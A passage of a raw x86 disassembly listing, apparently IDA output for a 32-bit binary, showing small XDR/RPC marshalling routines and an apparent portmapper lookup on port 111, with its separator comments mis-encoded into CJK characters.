dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80649C0 proc near ; CODE XREF: sub_8064074+5Bp ; sub_8064438+1EBp push ebp mov ebp, esp cmp ds:dword_807E754, 0 jnz short loc_80649D6 call sub_8065C48 mov ds:dword_807E754, eax loc_80649D6: ; CODE XREF: sub_80649C0+Aj mov eax, ds:dword_807E754 mov esp, ebp pop ebp retn sub_80649C0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80649E0 proc near ; CODE XREF: sub_8063B04+86p ; sub_80641C8+B9p var_28 = byte ptr -28h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch push edi push esi push ebx mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] mov [ebp+var_16], 0 mov [ebp+var_14], 0FFFFFFFFh mov word ptr [esi+2], 6F00h push 190h push 190h lea edx, [ebp+var_14] push edx mov edx, dword_80791DC push edx mov edx, dword_80791D8 push edx push 2 push 186A0h push esi call sub_80641C8 mov ebx, eax add esp, 20h test ebx, ebx jz short loc_8064AB2 mov [ebp+var_10], edi mov ecx, [ebp+arg_8] mov [ebp+var_C], ecx mov ecx, [ebp+arg_C] mov [ebp+var_8], ecx mov [ebp+var_4], 0 mov ecx, [ebx+4] mov edx, dword_80791E4 mov eax, dword_80791E0 push edx push eax lea edx, [ebp+var_16] push edx push offset sub_8064FBC lea edx, [ebp+var_10] push edx push offset sub_8064AC8 push 3 push ebx mov edx, [ecx] call edx add esp, 20h test eax, eax jz short loc_8064A98 mov dword_8079220, 0Eh mov edx, [ebx+4] push offset dword_8079224 push ebx mov edx, [edx+8] call edx add esp, 8 jmp short loc_8064AA9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064A98: ; CODE XREF: sub_80649E0+98j cmp [ebp+var_16], 0 jnz short loc_8064AA9 mov dword_8079220, 0Fh loc_8064AA9: ; CODE XREF: sub_80649E0+B5j ; sub_80649E0+BDj mov edx, [ebx+4] push ebx mov edx, [edx+10h] call edx loc_8064AB2: ; CODE XREF: sub_80649E0+52j mov word ptr [esi+2], 0 movzx eax, [ebp+var_16] lea esp, [ebp+var_28] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_80649E0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 2 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064AC8 proc near ; DATA XREF: sub_80649E0+87o var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_8064B10 lea eax, [ebx+4] push eax push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_8064B10 lea eax, [ebx+8] push eax push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_8064B10 lea eax, [ebx+0Ch] push eax push esi call sub_8064F10 jmp short loc_8064B12 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064B10: ; CODE XREF: sub_8064AC8+17j ; sub_8064AC8+28j ... xor eax, eax loc_8064B12: ; CODE XREF: sub_8064AC8+45j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8064AC8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064B1C proc near ; CODE XREF: sub_8063D20+207p ; sub_8064438+3F4p ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_806510C add esp, 8 test eax, eax jnz short loc_8064B3C xor eax, eax jmp short loc_8064B4F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064B3C: ; CODE XREF: sub_8064B1C+17j push 190h lea eax, [ebx+8] push eax lea eax, [ebx+4] push eax push esi call sub_80651B8 loc_8064B4F: ; CODE XREF: sub_8064B1C+1Bj lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8064B1C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064B58 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push 8 push eax push edx call sub_8065120 mov esp, ebp pop ebp retn sub_8064B58 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064B70 proc near var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_8064B1C add esp, 8 test eax, eax jz short loc_8064BC5 lea eax, [ebx+0Ch] push eax push esi call sub_806510C add esp, 8 test eax, eax jz short loc_8064BC5 mov eax, [ebx+0Ch] test eax, eax jz short loc_8064BA8 cmp eax, 2 jz short loc_8064BB4 jmp short loc_8064BD8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064BA8: ; CODE XREF: sub_8064B70+2Fj mov eax, [ebx+10h] push eax push esi mov eax, [ebx+14h] call eax jmp short loc_8064BDD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064BB4: ; CODE XREF: sub_8064B70+34j lea eax, [ebx+10h] push eax push esi call sub_8064F10 add esp, 8 test eax, eax jnz short loc_8064BCC loc_8064BC5: ; CODE XREF: sub_8064B70+17j ; sub_8064B70+28j xor eax, eax jmp short loc_8064BDD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064BCC: ; CODE XREF: sub_8064B70+53j lea eax, [ebx+14h] push eax push esi call sub_8064F10 jmp short loc_8064BDD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064BD8: ; CODE XREF: sub_8064B70+36j mov eax, 1 loc_8064BDD: ; CODE XREF: sub_8064B70+42j ; sub_8064B70+57j ... lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8064B70 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064BE8 proc near var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_806510C add esp, 8 test eax, eax jz short loc_8064C3C mov eax, [ebx] test eax, eax jz short loc_8064C10 cmp eax, 1 jz short loc_8064C30 jmp short loc_8064C3C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064C10: ; CODE XREF: sub_8064BE8+1Dj lea eax, [ebx+4] push eax push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_8064C3C lea eax, [ebx+8] push eax push esi call sub_8064F10 jmp short loc_8064C3E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064C30: ; CODE XREF: sub_8064BE8+22j lea eax, [ebx+4] push eax push esi call sub_806510C jmp short loc_8064C3E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064C3C: ; CODE XREF: sub_8064BE8+17j ; sub_8064BE8+24j ... xor eax, eax loc_8064C3E: ; CODE XREF: sub_8064BE8+43j ; sub_8064BE8+52j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8064BE8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064C48 proc near ; CODE XREF: sub_8063D20+177p ; sub_8064438+385p var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] push ebx push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_8064C90 lea eax, [ebx+4] push eax push esi call sub_806510C add esp, 8 test eax, eax jz short loc_8064C90 cmp dword ptr [ebx+4], 1 jnz short loc_8064C90 push 0 push offset unk_80791E8 lea eax, [ebx+0Ch] push eax lea eax, [ebx+8] push eax push esi call sub_806529C jmp short loc_8064C92 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064C90: ; CODE XREF: sub_8064C48+17j ; sub_8064C48+28j ... xor eax, eax loc_8064C92: ; CODE XREF: sub_8064C48+45j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8064C48 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064C9C proc near ; CODE XREF: sub_8063B04+188p ; sub_80641C8+162p var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov dword ptr [ebx+4], 0 mov dword ptr [ebx+8], 2 cmp dword ptr [esi], 0 jnz short loc_8064D08 push ebx push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_8064D08 lea eax, [ebx+4] push eax push esi call sub_806510C add esp, 8 test eax, eax jz short loc_8064D08 lea eax, [ebx+8] push eax push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_8064D08 lea eax, [ebx+0Ch] push eax push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_8064D08 lea eax, [ebx+10h] push eax push esi call sub_8064F10 jmp short loc_8064D0A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064D08: ; CODE XREF: sub_8064C9C+1Cj ; sub_8064C9C+2Aj ... xor eax, eax loc_8064D0A: ; CODE XREF: sub_8064C9C+69j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8064C9C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064D14 proc near ; CODE XREF: sub_8064DE0+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] cmp edx, 5 ; switch 6 cases ja short loc_8064D8C ; default jmp ds:off_8064D2C[edx*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 off_8064D2C dd offset loc_8064D80, offset loc_8064D44, offset loc_8064D50 ; DATA XREF: sub_8064D14+Er dd offset loc_8064D5C, offset loc_8064D68, offset loc_8064D74 ; jump table for switch statement ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064D44: ; CODE XREF: sub_8064D14+Ej ; DATA XREF: sub_8064D14+18o mov dword ptr [eax], 8 ; case 0x1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064D50: ; CODE XREF: sub_8064D14+Ej ; DATA XREF: sub_8064D14+18o mov dword ptr [eax], 9 ; case 0x2 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064D5C: ; CODE XREF: sub_8064D14+Ej ; DATA XREF: sub_8064D14+18o mov dword ptr [eax], 0Ah ; case 0x3 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064D68: ; CODE XREF: sub_8064D14+Ej ; DATA XREF: sub_8064D14+18o mov dword ptr [eax], 0Bh ; case 0x4 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064D74: ; CODE XREF: sub_8064D14+Ej ; DATA XREF: sub_8064D14+18o mov dword ptr [eax], 0Ch ; case 0x5 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064D80: ; CODE XREF: sub_8064D14+Ej ; DATA XREF: sub_8064D14+18o mov dword ptr [eax], 0 ; case 0x0 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064D8C: ; CODE XREF: sub_8064D14+Cj mov dword ptr [eax], 10h ; default mov dword ptr [eax+4], 0 mov [eax+8], edx mov esp, ebp pop ebp retn sub_8064D14 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064DA0 proc near ; CODE XREF: sub_8064DE0+3Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] cmp edx, 1 jz short loc_8064DC0 jb short loc_8064DB5 cmp edx, 6 jnz short loc_8064DCC loc_8064DB5: ; CODE XREF: sub_8064DA0+Ej mov dword ptr [eax], 6 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064DC0: ; CODE XREF: sub_8064DA0+Cj mov dword ptr [eax], 7 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064DCC: ; CODE XREF: sub_8064DA0+13j mov dword ptr [eax], 10h mov dword ptr [eax+4], 1 mov [eax+8], edx mov esp, ebp pop ebp retn sub_8064DA0 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064DE0 proc near ; CODE XREF: sub_8063D20+1A0p ; sub_8064438+3A0p var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, [esi+8] test eax, eax jz short loc_8064DFC cmp eax, 1 jz short loc_8064E18 jmp short loc_8064E24 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064DFC: ; CODE XREF: sub_8064DE0+10j cmp dword ptr [esi+18h], 0 jnz short loc_8064E0C mov dword ptr [ebx], 0 jmp short loc_8064E68 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064E0C: ; CODE XREF: sub_8064DE0+20j push ebx mov eax, [esi+18h] push eax call sub_8064D14 jmp short loc_8064E30 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064E18: ; CODE XREF: sub_8064DE0+15j push ebx mov eax, [esi+0Ch] push eax call sub_8064DA0 jmp short loc_8064E30 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064E24: ; CODE XREF: sub_8064DE0+17j mov dword ptr [ebx], 10h mov eax, [esi+8] mov [ebx+4], eax loc_8064E30: ; CODE XREF: sub_8064DE0+36j ; sub_8064DE0+42j mov eax, [ebx] cmp eax, 7 jz short loc_8064E54 ja short loc_8064E40 cmp eax, 6 jz short loc_8064E48 jmp short loc_8064E68 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064E40: ; CODE XREF: sub_8064DE0+57j cmp eax, 9 jz short loc_8064E5C jmp short loc_8064E68 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064E48: ; CODE XREF: sub_8064DE0+5Cj mov eax, [esi+10h] mov [ebx+4], eax mov eax, [esi+14h] jmp short loc_8064E65 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064E54: ; CODE XREF: sub_8064DE0+55j mov eax, [esi+10h] mov [ebx+4], eax jmp short loc_8064E68 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064E5C: ; CODE XREF: sub_8064DE0+63j mov eax, [esi+1Ch] mov [ebx+4], eax mov eax, [esi+20h] loc_8064E65: ; CODE XREF: sub_8064DE0+71j mov [ebx+8], eax loc_8064E68: ; CODE XREF: sub_8064DE0+28j ; sub_8064DE0+5Ej ... lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8064DE0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064E74 proc near ; CODE XREF: sub_805D3A8+236p ; sub_805D638+1C2p ... var_18 = dword ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] mov [ebp+var_18], 2 push eax lea eax, [ebp+var_18] push eax call edx mov esp, ebp pop ebp retn sub_8064E74 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064E94 proc near ; DATA XREF: sub_8063D20+15Ao push ebp mov ebp, esp mov eax, 1 mov esp, ebp pop ebp retn sub_8064E94 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064EA0 proc near ; CODE XREF: sub_8065020+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push eax push edx call sub_8064EC8 mov esp, ebp pop ebp retn sub_8064EA0 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064EB4 proc near ; CODE XREF: sub_806505C+18p ; sub_80651B8+18p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push eax push edx call sub_8064F10 mov esp, ebp pop ebp retn sub_8064EB4 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064EC8 proc near ; CODE XREF: sub_8064EA0+Bp ; sub_806510C+Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov ecx, [ebp+arg_4] cmp dword ptr [edx], 0 jnz short loc_8064EE4 mov eax, [edx+4] push ecx push edx mov eax, [eax+4] call eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064EE4: ; CODE XREF: sub_8064EC8+Cj cmp dword ptr [edx], 1 jnz short loc_8064EF8 mov eax, [edx+4] push ecx push edx mov eax, [eax] call eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064EF8: ; CODE XREF: sub_8064EC8+1Fj cmp dword ptr [edx], 2 jz short loc_8064F04 xor eax, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064F04: ; CODE XREF: sub_8064EC8+33j mov eax, 1 mov esp, ebp pop ebp retn sub_8064EC8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064F10 proc near ; CODE XREF: sub_8064AC8+Dp ; sub_8064AC8+1Ep ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov ecx, [ebp+arg_4] cmp dword ptr [edx], 1 jnz short loc_8064F2C mov eax, [edx+4] push ecx push edx mov eax, [eax] call eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064F2C: ; CODE XREF: sub_8064F10+Cj cmp dword ptr [edx], 0 jnz short loc_8064F40 mov eax, [edx+4] push ecx push edx mov eax, [eax+4] call eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064F40: ; CODE XREF: sub_8064F10+1Fj cmp dword ptr [edx], 2 jz short loc_8064F4C xor eax, eax mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064F4C: ; CODE XREF: sub_8064F10+33j mov eax, 1 mov esp, ebp pop ebp retn sub_8064F10 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8064F58 proc near var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push ebx mov ecx, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, [ecx] cmp eax, 1 jz short loc_8064F90 jb short loc_8064F78 cmp eax, 2 jz short loc_8064FA7 jmp short loc_8064FB0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 